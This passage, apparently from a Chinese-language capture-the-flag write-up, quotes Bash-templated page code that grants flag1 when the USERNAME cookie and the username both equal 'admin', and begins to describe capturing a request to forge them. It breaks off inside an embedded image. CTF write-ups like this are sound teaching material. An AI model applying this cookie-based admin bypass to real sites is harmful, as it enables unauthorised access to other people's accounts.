class="symbol">&quot;</span>"</span>></span>$(nth_line 2 "${post}" | htmlentities)<span class="tag"></<span class="name">a</span>></span></span><br><span class="line"> <span class="tag"></<span class="name">li</span>></span></span><br><span class="line"> <span class="tag"></<span class="name">ol</span>></span>"; $ if is_logged_in <span class="symbol">&amp;</span><span class="symbol">&amp;</span> [[ "${COOKIES['USERNAME']}" = 'admin' ]] <span class="symbol">&amp;</span><span class="symbol">&amp;</span> [[ ${username} = 'admin' ]] $ then $ get_flag1 $ fi $ fi</span><br><span class="line"> <span class="tag"></<span class="name">body</span>></span></span><br><span class="line"><span class="tag"></<span class="name">html</span>></span></span><br></pre></td></tr></table></figure><p>主要在于这里:</p><figure class="highlight html"><table><tr><td class="code"><pre><span class="line">$ if is_logged_in <span class="symbol">&amp;</span><span class="symbol">&amp;</span> [[ "${COOKIES['USERNAME']}" = 'admin' ]] <span class="symbol">&amp;</span><span class="symbol">&amp;</span> [[ ${username} = 'admin' ]] $ then $ get_flag1 $ fi $ fi</span><br></pre></td></tr></table></figure><p>代码的意思为,将username变为admin,并且cookies为admin则可以获取flag1(flag不止一个部分???)</p><p>先抓取一个自己创建的用户的包看看:</p><p><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAA8AAAAEMCAYAAAALY999AAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAAEnQAABJ0Ad5mH3gAAHBWSURBVHhe7b0LmFXFne7dz5kv35ycPPkmmcntZDJOZjQOgRBkOkTGz4/xZBgYg4Q4EoKYw3FQhmg0KhIRLyBhMBhaRBAx4I22RYIIIYiICCK2iChBUGxpm0sDgoggkUAQIf9vv7VX7a5du9aqtS/de3Xv9/c8b/eqqlX3dan/qlprV3388ccybeZsef/gB3Logw8L0s7mPbJ+/avOsPcPHlbpIx+KoiiKoiiKoiiKKpeUAXzXjPuUoVqItm9vljvvvFPuvXemrHputUy/5x5pfHtb1j5I386YoiiKoiiKoiiKotpSygCefPc9sv+9Q3nr7aYdUlNzp9x9992y6DeL5bbbblN6ad36rP2Qvp0xRVEURVEURVEURbWllAE8acrdsvfd9/PS1re3y513TpGpU++WhYtajN+5c+fJ2pfWZ+2L9O2MTZ1oqJGeVVVSlaPL5ckTJ5xxOqrSbdF29Vb59ayRhiA/253xCylToWG2XPum/YJjwVkmfZz0lJqG8Dyy962Sy5+Ml0eYvGWNmZYrnaiwsDxOPHl5i5+hnjUN6XhZ4dFtRVEURVEURVEdWcoAnvjLKbL7nf2x1fBWk9TceafcdddUWbBgYcb4ffTRx2TatOkyeXJN1v5I387YVJgh8OTlqQF7TKOkLRVluMQJj1JUXDusmHy0Gmp6Zgwll/vEiSflcmU45eZTaJgt177aT5cF5aq6/MmsMG3IqrCQfOx908Zg2giMyiNK6ri08lPpxohrypVOVFjcPNJ1TMdNHyMtRq8ZZsejKIqiKIqiqI4uZQD//BeTZdeed2PpzYa3M8bv44bxWxcYv3fc8UvZ/HpDVhykb2dsKsyQK4WB1xrylauYckfFtcOKbZ8TJxqkpqdhHFnutGGZMhAvvzwnn0LDbIXtm1NXZawGhmtEmE5XSxl8xkOUdB3TBnE+6Wil0+uZUy8YrOaDA5/C0okKi5OHbfC7w6PrSFEURVEURVEdVcoAHvdfk2THrn1evf5mo1r2fOeUu2T+409kjN9H6ubK3YHx+1rK+LXjIX07Y1NhhpzbQMHMmGN2zAy7vCbcyMknTTVbpsMC4ytr/1xDIiw8nW94PK1M+Yy8VT2sdCe/uSQnn4wBW2OU25gxtA0olWaWcZjtbnjyyfQSW6vNigmzFbZvjlvV36ynNasbc6WAbsdCDOB0vqn9c+JlPziwldvu7nSiwnx5aKkHChFt4QunKIqiKIqiqI4sZQDfMn6ibNv5TqQ2vfGW1Cjjd4rMm78gY/zW1j0qd989LWX83iG/e+0NZ1ykb2dsKsxQUstAM8teYQC0GD3mQF6HaSNDG64+Azg6zWxjyDSywsqr5TasLIMtJH46rlFvY9+ouih3UJ/M/kG+YbOGKm3DQLbdGf+I+hYaZiu3LtltpmeKM22YqWtKeRh0uX0cnocthKMt3WVNhenyRBjRUFg6UWFx8rCP56wwlZ6/bBRFURRFURTVkaUM4BtvHS9vb98dKszq4mvPmP197NePtxi/jzwqU1PG76SU8bth4xvOuBDStzM21TI4z5ZpuIUZBBjM54a1GAI5YYY7Mk3LODJlx/OFR+VjxmvZtyXMjOtPN9cAUkadw6iF8IDB3Nd2a9n5lCLMlmvftJ8+Fp5s6dOgb/TxkTZc/fm49gvLw4yn9kOeIQ9A0m6jz1T53OWJTKfIPOw4LkU9fKEoiqIoiqKoji5lAI8ac6tsbdrl1O82vamMX+ixefMzxu+c2rqM8bt+w2ZnXC2kb2dsyj3YzzZEtJ9pIGeW/trx8zKA3Wmm04GR0RKmy2OnaSsnTxgdxiylf6YuqrzuMOV2pGvnnfG3DCiXQZXZ18qnFGG2fPumyxfW3y1hdjyttPEbvU9UOubDgXzKaodFpVNsHlEPO7TitBVFURRFURRFdVQpA/i6G26ShsadTs1/fKEyfuc+1mL8PjwnZfxOvVsmTbpDXn7lNWc8U0jfztiUa7CfnqlqGahHGQR2WKEzwFEyZ8588aLyVO4IIyQqrj/d+DPAqj4xlj+rMCufUoTZ8u1rhtv7+oy6uDPEYWVIp28+JMl9KJK7f255otK5bIn5Tne24uYBA9pcNeGSr60oiqIoiqIoqiNLGcA/vX60vLl1h1Nb3toua+pfNozfR+SuwPhdt36jM44tpG9nbCrM8MCAvuV9zWzjLssgCsL04D9trAYGcGB06HimMRSZptpuMRRyDeBwIyInrlUGMy0zngozymC7c9LNySddn7B3XE2hHUx/223KLlMpwmzZ+9qGmjoWAgPd7u8oA9duo6ywiDyilFNWqz9VuGPW3VZU++Sbh30saxVaNoqiKIqiKIrqiFIG8E+uGeU0XLVee/0tue9Xs6Tu0Xl5G78Q0rczNhVmCGgDrsXwCdxK2UZNVljPy+VywxhIG0jpsJ41Nan9DIMgKk1lPOSGZQzNlL/LaHSFp+uYm5atHMPHcNvphrkvv7yl3OaMoJ4hTO9n1yd+mYoJC5uldO2b1f6W0ZbePwiz2tPMQxm1mf1alOmXiDzyKat5jNnGeD7pRIVF5WEb86ai4lEURVEURVFUJUkZwD++6rqcZctY8rx02Yosv0WLn0wve351U5a/T0jfzrg1lTEEHcZpR1al1puiKIqiKIqiKCqOlAF8+Y+vlqYd72S05a1t8vOf/1zGjx8vK1auzvjji84NjTuy9o0jpG9n3JqiAUwDmKIoiqIoiqIoypYygP9j+JWyc/f+jJ57/sXMO78whDdvacwKz1dI3864NUUDmAYwRVEURVEURVGULWUADx02Qpr3vCfvvHtI6dmVz8vkyTXySN1ceXbVGtmz9/1MWL7alYqL9O2MKYqiKIqiKIqiKKotpQzg60aNkQ2vvSnvHTxScr3esE1+et0NzswpiqIoiqIoiqIoqq2kDOA5j8yViXfcJR98eLzkmjzlHrn/wTnOzCmKoiiKoiiKoiiqraQM4A8/PCLXjbpRbr9jimxp2CYf/uFjOfrHUwUL8bdt3yOT75wuP/np9fL733/ozJyiKIqiKIqiKIqi2krKAIYOHTok9943W6686jr5weChRWvEldfI3dPvVemaGVIURVEURVEURVFUOZQxgKETJ07I/vfek8a335bNr79esN7aulX2vfuufPTRR1mZURRFURRFURRFUVS5lGUAUxRFURRFURRFUVRHFQ1giqIoiqIoiqIoqiJEA5iiKIqiKIqiKIqqCNEApiiKoiiKoiiKoipCNIApiqIoiqIoiqKoilDGAD527Jise+VVmfv4Qpkx+0EqAXpk3uPy4rr1qm/MTvOJfZk8FdqXR48elWdXPifT7pkpt46bQCVAU6beI08vX6H6xtVnYeJ5mTwVel5SFEVRFNV+pQxg3Pyf+O2T8uTTz8jed/fL8eP4+aKTVBn10Ucn5L0D78uyFStl3hOLYg/Q2JfJU6F9CQPr/gfnyC9rpsoDD9bJI48+LnVzF1BlFPrgwYcelclTpqnfTY9rBPO8TJ4KPS8piqIoimrfUgYwZiV++9Ry+cPRP1IJ1JPLV6hZCrvzXGJfJlv59OWq556Xu+6+Vxb99mkqgbp7+n3yTMp4cvWdLZ6XyVY+5yVFURRFUe1bygB+dP4Tsm1Hsxz+/REqgWrevVdqH5vv7EBb7MtkK5++vG/WA7Jo8TJ5ZuULVAL12yeXy4x7Zzn7zhbPy2Qrn/OSoiiKoqj2LWUAT5s5W94/+IEc+uBDKoF6/+Bh1Ud257nEvky28unLib+YLM8+96Ksev4lKoFauXqt6iNX39nieZls5XNeUhRFURTVvqUM4Ltm3KcGAFRyhT6yO88l9mXyFbcvf3HHnU7Di0qO0EeuvrPF8zL5inteUhRFURTVvqUM4JppM2T/gUNUgoU+sjvPJfZl8hW3Lyf9corT6KKSI/SRq+9s8bxMvuKelxRFURRFtW8pA/iOu6bJ3nffpxIs9JHdeS6xL5Ov2H05+S6n0UUlR+gjV9/Z4nmZfMU9LymKoiiKat9SBvDtNXfJnr3vtbl210+Q6qoqqXJoSN1+Z5xyafc7j8mQqh4yrr485UIf2Z3nUrn6Mq7C+rz6tnXO/Tui4vYlfv7IZXSFaWXdNdK5aoBMWr3WGd5eleR6oY9cfWcrqefl7rqhqfOvuOta+pweKrXvJOuana/inpcURVEURbVvKQN4wh01smvPu22u5hfGpwZOP5La3fuc4UlS8+5H5eKqb8nYF8pTVvSR3Xkulasv48rV5+m2TRnB49Zm7dtRFbcvJ995t9PoClNcQzFpBmV7NtzRR66+s5XE87J591oZW10lFw/5kVQNedS5j0vt6bqdj+KelxRFURRFtW8pA3j87b9MDYb2tbl2rsFA6hKZs2uvMzxJ2rkrbQDfuqY8ZUUf2Z3nUrn6Mq7C+nxn7SVS1U6OhWIVty9rpkxzGl1hogHc9kIfufrOVhLPy8y5mOd1uD1dt/NR3POSoiiKoqj2LWUAj53wC9nevLfNtW31bdI9NZB6cOc7znAovY9eKvstuXl1el/lX32JDK6G//fkh6n/g+cYYan9M+45KeOq+jZZmcpHbWfSS+niOkd66TJl7XtxKszIv62FPrI7z6Vy9WVchfX5tp11mfZ19kXQp+n+MI6DnfVyc3XKfavZV+k+Tari9uWUqfc4ja4wmYak3r7yqq6Zdul81XxZuXqKXKDbqaqrXFmXNjqz/VuMUZXONwbIBd9o8U+nrfetkgvuaDFcQ9NZPV+u/EYqv6sGZOJV9Z8SWh5TtoG88g4jjZA4WtllNeob0j52fJ/QR66+s5XE83Llrd/KnCsPXlwl3W+tzwrPPufS19P0ear9jPPVOKdDz9Vgv5uRbxBu51lOxT0vKYqiKIpq31IG8M23/Zds27GnzdW0alzWACujwbXp8O218sOU+4cP7067Hx6SCh8iD27fnYmrw569pbolXmq/7tXV0v2WFzJh2HanVy03r8pNz95XpR/sC3dbC31kd55L5erLuEq3c7oPs/y3v5AyZNPt7euLrOMgiNfiTu+r+z6JituXd909w2l0hck0FLXhp426tNFohtnGaYshWwuj8BvXSK2Rjg7TBmvGbeYZlU4QlilDkI4yyq3y2MrOA/EMQxb1CvLIiWeXNacN3O1jpuET+sjVd7aSdl6mz5OW65k6p6rHybPBeZlzzhnnrX0OZ4VFnavBea3PTTMM7nIr7nlJURRFUVT7ljKAb7x1vLydGoS0tRpXjlUDp/u37YoV3rgtPWi7aeWuICy9ndm3+1hZkdr3/sEp/wdT7pRB3LhtjdzUPTUgezA3j8j0HkwNzoL07H3NNNpK6CO781wqV1/GVVifm/3k7Nuw48DRvytuTj8M0e6kKW5fTp12r9PoClOWoai2c2c8W8JajL0ct2Fk5qQTZXBGpWMZx5AykDELbMWzZYbbRm2U8qqXpwxhQh+5+s5W0s5L9/Wt5Tyyw03lnI+GO/Jc9ZzX5Vbc85KiKIqiqPYtZQD/7Kax0tiUGqC0sbY+iwHQxTL77WZ3+AMXq0HYM0H41reflzEpY2fQA805cbe+XSuDUoOrMc9iH/jDbf4P9lPxjNlmFSc3vWduShlRWXnr9NPuthb6yO48l8rVl3EV1udm++b0bdRxYGxn0rL2T5ri9uXd02c6ja4wZRmKtvHnDTPPCcg0FFv2NWd1db5akek4DGBtTM95JDsPWznlDYxgnUeYMWwb62YZ3G0QXoYwoY9cfWcrSeelPmey+ynQD2vVPvb1Lyu+fX4a7ryu2SHXgnIp7nlJURRFUVT7ljKAR46+Wd5KDULaWg0rbpWzUgOgXzXujBXe0DhHfpAykm5csdMZ91c/rJIf3JTy736rPJ3y/9UPU/velBqQ/XCOkV46vi+9hvsxkEunY+8Ld1sLfWR3nkvl6su4Cutz1d6Bf05f2G6z3xpXy42pAfYP7m9J72kM3oM+T6Li9uW0e+5zGl1hMo24KAMvH+MvZ988ZoCzwko0A5wTFrF0OafsOTPARpinDGFCH7n6zlaSzsvQc1D5B+eVdf3L3c99fkaeqxHxdNrlVNzzkqIoiqKo9i1lAF8z6kZ5c+uONteWZ25JDYAGy31vbXeHv/VwavCUMm5mp8O3zB6cGuym93fFRfhZZ1XLWWNWKfdTY1LbhtuMD/d9gzDrUS2jn8lNz84bael94W5roY/sznOpXH0ZV85+C9o600+evsg6Dt5aJaPPSvXjWbfIU8qdvW8SFbcv77l3ltPoCpNpxEUZeOltY/mvZZxGpmMtQTbTikwnCNPGs5mOXR5bueUxyh5lANtlNfY101Rhljuu0EeuvrOVpPNSXfcGPRwahvMw55xT56R5rWy5Fprna+S5ap/XlrvcinteUhRFURTVvqUM4Kuvu8E5IGhtxRkApfeBodpirLb4Z8fV+2YPvow42lgK0jtrzMPKjf2j0kvve0tqYFc+Axh9ZHeeS+Xqy7jK7s8WmQarry9cffqDQejrdLg2pJOquH05Y+Zsp9EVplxD0W3gZYzRVFtljMOsZcWGgekwDNN+et+WNCLT0cZxfxih6fDMB6gc5TGVUxdlyObm4VJ2WcPr5apnHKGPXH1nKynnZdpADb+O5Rqsuu2M66pxHXVdO0PPVed+2ed5ORX3vKQoiqIoqn1LGcBX/vR654CASo7QR3bnuVRpfZkxgA0DOumK25f33ne/0+hqj7JnhzuK0EeuvrPFa2zyFfe8pCiKoiiqfUsZwCN+cq1sbdpFJVjoI7vzXKq0vnzL/MiOIzyJituXM3/1gNPoao/qqAYw+sjVd7Z4jU2+4p6XFEVRFEW1bykD+PIfXy1NO96hEiz0kd15LlVaX769vV5uUr8fvMcZnkTF7cv7Zj3oNLraozqqAYw+cvWdLV5jk6+45yVFURRFUe1bygD+j+FXSvOe96gEC31kd55L7MvkK25f/mr2Q06ji0qO0EeuvrPF8zL5inteUhRFURTVvqUM4KHDRqgBwDvvHqISqF1731d9ZHeeS+zLZCufvpx1/xxZmedHmai208rVL6k+cvWdLZ6XyVY+5yVFURRFUe1bygC+btQY2fDam/LewSNUAvV6wzb5acwvlLIvk618+vKJRUvkqeXPKSOYSp6WrXhe5i/4jbPvbPG8TLbyOS8piqIoimrfUgbwnEfmysQ77pIPPjxOJVCTp9wj9z8Yb6aJfZls5dOXG363SR779SKn8UWVX/Pm/0ZeefV3zr6zxfMy2crnvKQoiqIoqn1LGcAffnhErht1o9x+xxTZ0rBNPvzDx3L0j6eoMgp9sG37Hpl853T5yU+vl9///kNnB9piXyZPhfbl8ePHZcnS5TLv8d/IsmdWO40wqu319Irn5dcLFsuixUvlo48+cvadLZ6XyVOh5yVFURRFUe1bygCGDh06JPfeN1uuvOo6+cHgoVQCNOLKa+Tu6feqvjE7zSf2ZfJUaF/CwNr42uuy+LdPSW3dr6kECIbvK69ujG38avG8TJ4KPS8piqIoimq/yhjA0IkTJ2T/e+9J49tvy+tvvCGbX3+dKpPe2rpV9r37bt6DbC32ZXJUbF+ePHlSTp06JX/605+oBAh9gT5x9ZVPPC+To2LPS4qiKIqi2qeyDGCKoiiKoiiKoiiK6qiiAUxRFEVRFEVRFEVVhGgAUxRFURRFURRFURUhGsAURVEURVEURVFURYgGMEVRFEVRFEVRFFURogFMURRFURRFURRFVYRoAFMURVEURVEURVEVIRrAFEVRFEVRFEVRVEWIBjBFURRFURRFURRVEQo1gGc/+oQMvPx66fLP/y5/9+3zy6oz/ukCufA/rpX7aufL8ePHM2V85tlV8suau+Wn142WEVde2+F0xVUj5Re/nCJPL39WPvroo4qpt6mkt0FY+SiKoiiKoiiKSp6cBvA1t0ySXgP+jzw0b7E0NDXLBx/+QY4dP1EWfXj0j/L2jj1yz4Pz5Kzv/EB+/LOfyx9TRvCs+x+S0TfdJitXPS979+6TY8f+mCr7yQ6jjz46Ie/u3y9PLXtGGXkzZs5WBlZHr7eppLdBWPlc5xRFURRFURRFUeVXjgE865HH5dwL/re80bhDDn14NFH63RuN0umc/nLdTf8l1//sZtm1e68cPXa8w2v79mYZPuKncudd91RUvU0lvQ10+ZY8+XTW+URRFEVRFEVRVHKUYwB/f+jVMnPO47L3wO8TqTvvq5Oz/nmALF36jBz+/ZGK0cJFS+T/DLui4uptKultgPKNuXl81vlEURRFURRFUVRylGMA//0/9pYXXnlDtr/zfiL14oY35Std/lm2vNko7x34oGLUsHWbXPSD/11x9TaV9DZA+QYNvjTrfKIoiqIoiqIoKjnKMYD/59fPlc3b9siWHfsSKZQNZdzzzn7Z9+77FSPU93vfv7ji6m0q6W2gy2efUxRFURRFURRFJUM5BvAXz/wn2bB1d6KFMr6z70DF6d++O9DpX0lKehugfPY5RVEURVEURVFUMpRjAH/h9G/Lui07Ey2Ucc/e9ypO//KvA5z+laSktwHKZ59TFEVRFEVRFEUlQzkG8Of/voe8+PqOUNU/eYt0raqSqhwNlprN251xSi2U0WV8aO2unyDVzjL2kHH1+51x2oP+17/0d/prpes9VGrfya5jmH8x2v3OYzKkDO2ZpDZwCeWzzymKoiiKoiiKopKhHAP4c1+tludf2xaq1Ytvlm9U/VDu2NiU5X/Hv6cMzG43S53l3xpCGXenDJkw7ar/ecrY+ZHU7nk32/+RH6WM4G/J2Pps//aiXud91+mvFVrvEP9itGvP3JQB3PZtmaQ2cAnls88piqIoiqIoiqKSoRwD+K9O6y6rNjSGauWiMdK5apBMenVrLP/WEMq4K2XIhKn5hfFpY2f3vmz/3WtlbHWVXFyb7d9edM65fZ3+WqH1DvEvRs27H5WLYQC/0LZtmaQ2cAnls88piqIoiqIoiqKSoRwD+C//5ix5Zv1boVq+4Eb5etUPZOLLDZH+y6f+IHv58fd/Jctfflp+3LVKvjs12EfFMdyI0/VGechK2xbK6DI+tOIawM21mBE2yjjk0Zb41T+Si1P7VgXphO6r0xyHPFvC0mXI3jc3z/wMyLN79nb6a8U1/tLGqy5D9v5h9cwJG5JqH6P8YWn62zJZbfD8uG9llSkdr0qqx63NpBUllM8+pyiKoiiKoiiKSoZyDODP/vU3Zdm6N0P11OOjlaE74aUtWf4TBqQMiQH3pfd56T45P2U0nD8lvc9TU2AMnyX/+fgWuf+as1r2S/l/vetZ8vVrnlJuhOntKKGMzbthxLi1c03a2JmzK2Vsmf7K8Er779yVNoBgDLeEfUtuXZMKU/GNsKh9d62VW2HcVY+X1Ua6GbdKS++LsPR2Jp1gP7h9+laP/+X019LlbjEuTel6p8ur67J6bMrgs8rurmd2mIpntYEzTWdbJrcN4J4zJLUvHmIE29Vj12bS9wnls88piqIoiqIoiqKSoRwD+DP/8xuy5MU3QvXbeTdIJ4dx0emnS537Q7+tnyl9q7rJ5fNeT8fveoPcV/+6jPteyq8m5f7ezNQ+S+XyrlXSt+Z1ZxqmUMadypBxa8fzYUZQyvB6fq87TnNgmKXC0/Fj7tv8YmBMpfeNcqfjtYTlq+7/2Mvpr5Uu9yXycHN2+qa/vY9ZFzOOHbaj9hJlJD7niBeVpt2W7aENMn12cXad4wjls88piqIoiqIoiqKSoRwD+C++2FkWrdkcqoWP/kz+oeqilLGwyXBXyb/+Mu3O3s80PrvJsEc3ycLn75V/VdtPyrBvIB24zf/Z6biEMrqMD60wI8hWej+zjG6DLnLfPAzgtDttAOp08jEEv9nt/3X6a4XV2/TPrQdkGH8h9XwumCUNN4DNOC3xXGVKehuo/WHw51k2COWzzymKoiiKoiiKopKhHAP4//lCJ1nw3GuhevyR61OG7b/LTas2tvjd8e8pY6GbXPpI2i+9j+FedY/0Ntw3XVAlvX+S2qfz9TItlc5NF6TCfpJK44J7MmlGCWXcAUMmRNtX35Y2dna+4wyH0vt8S25Znd5n+846GRy47fiR++6sl1tSBu7gOTos2m1q+xwYWdHlNNWlyz85/bXC6m36h+3Tsl9IPVHW6ttklW6TiPYyFRWmwhPWBmpfXbc50fu5hPLZ5xRFURRFURRFUclQjgH86c/9g/x65cZQzau9Xs5MGcA3Pvu7LP8b+1VJVcqgnZryn/cLGMQt+6iwqm/K0Nq0G+Fndv6mnHnlYuWeemVq23D7hDK6jA8tn4ED2YbXwxenZwFdBl3kvnkYwOl00/Fc6frUqdO3nf5aYfU2/XPKZ4ZF1hNGYUu8Vbem3wF2toGZplWmtDvBbRCEVd9ar8JUPQ3D3yeUzz6nKIqiKIqiKIpKhnIM4E/95dfksZThGqa5D49UBvDoFRuy/VdMl+9gKWm/6ant38iPOsN4SuvMK6Yr93duT8dJp2G4b4fB/E350cPZaYYJZdyujBW3tj13m3RPGTQP7tjjDIe27aiXm1OGji5j91sfUe7BD+/JiR+5bxCGbXPfUPfDMPh0Wt+Sm58LL6OtM874R6e/Vli9c+vziDJm7TJE1bMlHR12m5olbYkbkqajTElugwdh9KcM3pX2fhc/kkkrSiiffU5RFEVRFEVRFJUM5RjA/+Mzp6cM2A2JFsrYlDJQKk1f/btuTv9KUtLbAOWzzymKoiiKoiiKopKhHAP4k3/xd/LoM68mWihj0/aUwVFh+pvTvuH0ryQlvQ1QPvucoiiKoiiKoigqGcoxgP/7p/9W6pa/mmihjG9v211x+vJfd3b6V5KS3gYon31OURRFURRFURSVDOUYwH/+qb9xGp1JEsrY2LSr4vTFL/6D07+SlPQ2QPnsc4qiKIqiKIqiqGQoxwD+vz/51zJ3BT5qlVyhjC7jo6Prc587w+lfSUp6G6B89jlFURRFURRFUVQylGMAf+LPvyyPPbsx0UIZt77dXHH6zGe+6vSvJCW9DVA++5yiKIqiKIqiKCoZyjGA/+wTX5Jfr9qUaKGMbzXurDh9+tN/4/SvJCW9DVA++5yiKIqiKIqiKCoZyjGA/9v/9QV5fPXriRbK2JAyNipN/+NTf+30ryQlvQ1QPvucoiiKoiiKoigqGaqqqvrL1J8W/bc/+7wseP6NRAtl/MQnvkhRiZR9TlEURVEURVEUlRAte3WHUBRFURRFURRFUVRHV9UzG3cJRVEURVEURVEURXV0Va3c/I5QFEVRFEVRFEVRVEdXzjvAFEVRFEVRFEVRFNUhJYQQQgghhBBCSAVAA5gQQgghhBBCSEWQCAP4/PPPD7YIITY8PwghhBBCCCkNVZ07d5bBgwdL9+7dAy+Rr371q05pXGFa+bJy5UqZMmVK4KosVq1aJWeccYZ06tRJ9YGJDkOb4v/q1auDkOTz8Gc+k5HL/W59vdR+/vMZv0e++EV5d+1aFWZixskHHU/Htd0+7OM5ym0r33D07SWXXCL79+9XYTau8+Po0aNKmzdvLsg4LjY+IYQQQggh7RU1A7w2ZXzAEDbRg3WN6Y6zHZdBgwbJgQMHAlfbceaZZwZbrUOc9KMM2y5dumTC8B/7tiV//udrgq3CMI3NHU88IS9edVXgEvl1qm2OHzwYuET+mOp/+LmIa7Ta2PHyTaeY4z+ffcG6devUeeDCdX7AcIVhDMx04lJsfEIIIYQQQtoroUug9cDYN0AuZgC9YcMGueWWWwJXC0gTqq+vVzPTmKXat29fECpy8uRJmThxovTo0UNpwoQJyk9jzp5idnXgwIHSs2fPIFSUn85DKx/seLbblz7qZIfb+9icfvrpwVaq06pWK61YcUg+97kXpVu3V2XPnuNBqMjHH/9Jrr++Sb70pbVK113XpPw0S5celE984nmVxic/uUbOPXejfOUrLwWhovx0HlomXbt2zSk7DHYTbXC+kzK0Vv3oR2pb81iqLkf37g1cIsf271d+LsIM13WjRsnC6mo1e/zMRRflzCC3pgFsEuaviRvP9YAj7Pww8eXvo9j4hBBCCCGEtCciDWCtKIoZQI8YMUKampoCVzZId9myZWobM9TYVwODd9GiRYFLZPHixcpPA2OspqZGbZ86dUoZ0raBVky5Qbdu3eTEiROBK230Ii9NnPTjlgEG/aWXXhq40sAofeKJ9MzgqlUfyIUXvqG2AQzeurqWJbVz5+5XfppPf/qFlGG1Q22jyDCk4WdiG735AoPzQMqAWzFwoJw83mKcg91PPy1P9ekjzw0dKhtvv11WDhkiu556KgjNJsxw/dPHHwdbovKp+/KXA1caxLOVD+gbWy7C/DVx4uH4vihlxNtEnR8aX/4+io1PCCGEEEJIe0IZwBgEQ9/5zneUJ9ADY98AudAB9Pbt22X48OGBKxekqw1K/IeBqcFybdPYxLa5hHvNmjWZGWAYvuecc440NDQEoWkKLbcGxsnGjRtVOgcPHsyaYQZx0o+zz8KFC+WGG26QI0eOBD5pYKDqJsB/zNpqPvWpFzJhANvw0yxffigzAwzD97TTXpJNm/4QhKaJMoDjzgAv++535dWxY9USaJMNP/+5HNm1K3CJHG5sVH4uXIbrhzt2qFnfR770JTUD/PQFF+Ts53P7sPvGdmvC/DVR8SDM7F944YWy15gRB77zQ+PL30ex8QkhhBBCCGlPZGaA7YFw3IFxoQPosSnDaNOmTYErF6RbqAGsgf+xY8fkgQceUDO2Jna5zSXUcRg/fryMGTNGpYNtc4YaxEk/TtvZ5dYUYwBr4H/06Cm5667d8tnP1ge+aWwD2FxCHQcYnFjaDDDLi1lazbyvfS3YasHlB1yG66Jvf1vevO8+OfXRR8qN/+3RAI7Cd35ofOn4KDY+IYQQQggh7QllAGMG0x4I+9yaQgbQyA/v5UaBdPVHoLCE+eqrr1bbAO//1tbWBi6Rurq6rCXQMIYbGxsDl/sjUnDr9LEE1fURov79+yu5WLJkifp6L9LB/9GjRwchaeKkX0jbaWCgLluW/pAUljAPHvym2gZ4/3fGjHcCl8jMme9kLYGGMbxly9HAJSodzAibwK3TxxLrXr02qu24mAYnPni1/PvfD1wiv+nZM2tZNLZh1LpwGa5zTztN3lu/Xm3/Yc8eeW3SpA5lAMc5PzRR6UQdvxpf+QkhhBBCCOlIVOFrxQMGDFBfotVgUOySTVRYFFOnTk0ZbSsClxukiWXLWFrct2/fnI9gweDFslssx7U/goWPZs2bN0/OPvtslQ6MUbxHa6KNYtQfxnVzc3MQ0kK/fv1CDQh8SRdp491c/F+wYEEQkiYqfYQhji2b8847T8kFDGAsW8bHq7p2fSXnI1gweLG8+S/+oj7nI1j4aNb99++TL395rUoHxi4+jGWijWJ8DRrG9bZtfwxC/MDY1NI8P2yYWrIM9jz7bNbPIGF79zPPqDCNmYaWpvnJJ2V+p05q+fOzgwbJh9u2Ze1jx7HdPuw+sd2aMH9NWHiYvybu+WHLJur4jROfEEIIIYSQjkboR7BaE9+sFOCAPBp7iTLpOMQ5PwghhBBCCCH5UxYD2AdmTbVILpiV1SKEEEIIIYQQEo9EGsCEEEIIIYQQQkipoQFMCCGEEEIIIaQioAFMCCGEEEIIIaQioAFMCCGEEEIIIaQioAFMCCGEEEIIIaQiUAZwe/st0KNHjyrht3jxm782xYb78MXHbw7jN4DNdjV/Jxi/uWyG42vX69evD0L9LF++PBMX6eB3hU18+ccFv0Wr49uYaXfu3FkaGxuDkPhEpQ8Kzd8M00J7aLDvqFGjlJ+r/QghhBBCCCEdk8wMMIyEUtKaP2EEw3PlypVq21XuYsN9+OLbRtWJEydk5syZgUukR48ecujQocAlcvDgQeUXFxh8a9akfwIJ+ZjGHfDlHweUD8Y9/rvqWEi7mfjSLyZ/O2z//v3Sq1evwCUyePBg2bp1q9p2tR8hhBBCCCGkY+I0gE+ePCkTJ05URhk0YcIE5acxZxg7deokAwcOlJ49ewahovwQZspF//79lYohLG1NseE+XPFdfiNHjgy2RLp37y779u0LXCIHDhxQfoWC9jfx5R+HK6+8UvUziFtHm6j+9aVfivw1MP6nTZsWuLLBzHvfvn0DFyGEEEIIIaQjUwVDQksDg3fRokWBS2Tx4sXKT9OlSxepqalR26dOnZL6+nrlZxLHQOnXr1+HNIDNGdjDhw/L7NmzpVu3bsoNMHt80UUXyRVXXCFTpkyR4cOHq+W+hQADDrOkJr78fSxbtkwtEda46ogZfvhD9oyzJqx/femXKn9N7969Ze/evYGrBcykDxs2TM3AE0IIIYQQQjo+zhlgGAYwbDXYhp8Gy2/1DDAM33POOUcaGhqC0DQuo6U18OVTbLgPV3y9rBZhmEGfNGmSMnI1kydPlj179gQukaamJuWXL+gHzB7b+PL3gaXHiGtqxIgRQWguWGKM/OLiS7+U+W/YsEEuueSSwJUNjuvp06dnHuYQQgghhBBCOjYFGcAa+B87dkweeOCBnBlGMz1gLqEuJXY+NsWG+4gb3zTCqqurg60WXH5RLFy4UJqbmwOXnzAjMA5x6lhMO5aij8L2GT16tCxZsiRwuWnN99UJIYQQQgghycFpAOP939ra2sAlUldXl7UEGsaw+dVdPeNoArdelrp27VoZNGiQ2jaJekc0LsUaT1Hhccrnim8vSR47dmzWEuc+ffrI8ePHA5eobSzTtQnLf+nSpVkz7nYZfPlr4tQP2OlfeOGFMmPGjEw+rv4HhaZvU2j++PgX3k03H+YAHN96Bj4sLiGEEEIIIaTjoQxgGBhaALO1MHixvLlr1645H8HCEtV58+bJ2WefreLAgNAfLNJowwKza1dffbVztrKYd4DNMmuZFBsOosoXFX/IkCHqQ2CIiy8OY7bWRLeNjudqPxCWP/rFzBcy8eWvidP+rjyw7Brv6Or3cPMtv4krfRNXeNz88S7xuHHjAlcLeHiDD4edfvrpoXEJIYQQQgghHY/MDDAhhBBCCCGEENKRoQFMCCGEEEIIIaQioAFMCCGEEEIIIaQioAFMCCGEEEIIIaQioAFMCCGEEEIIIaQioAFMCCGEEEIIIaQioAFMWh38bBYhhBBiw/sDiYLHByGkNVAGsOu3VpMAyoPfaj1+/Hjg0zHQbf2d73xHuYcPH95q7R+Vpi/PUpRp5cqVMmXKlMDVgk4b6ty5s/pt3ri88sorcu2116rfl0Z8/JYvflu5UGpqaoKtNGbZXG4Tl1++hKVdDnRZbrjhhs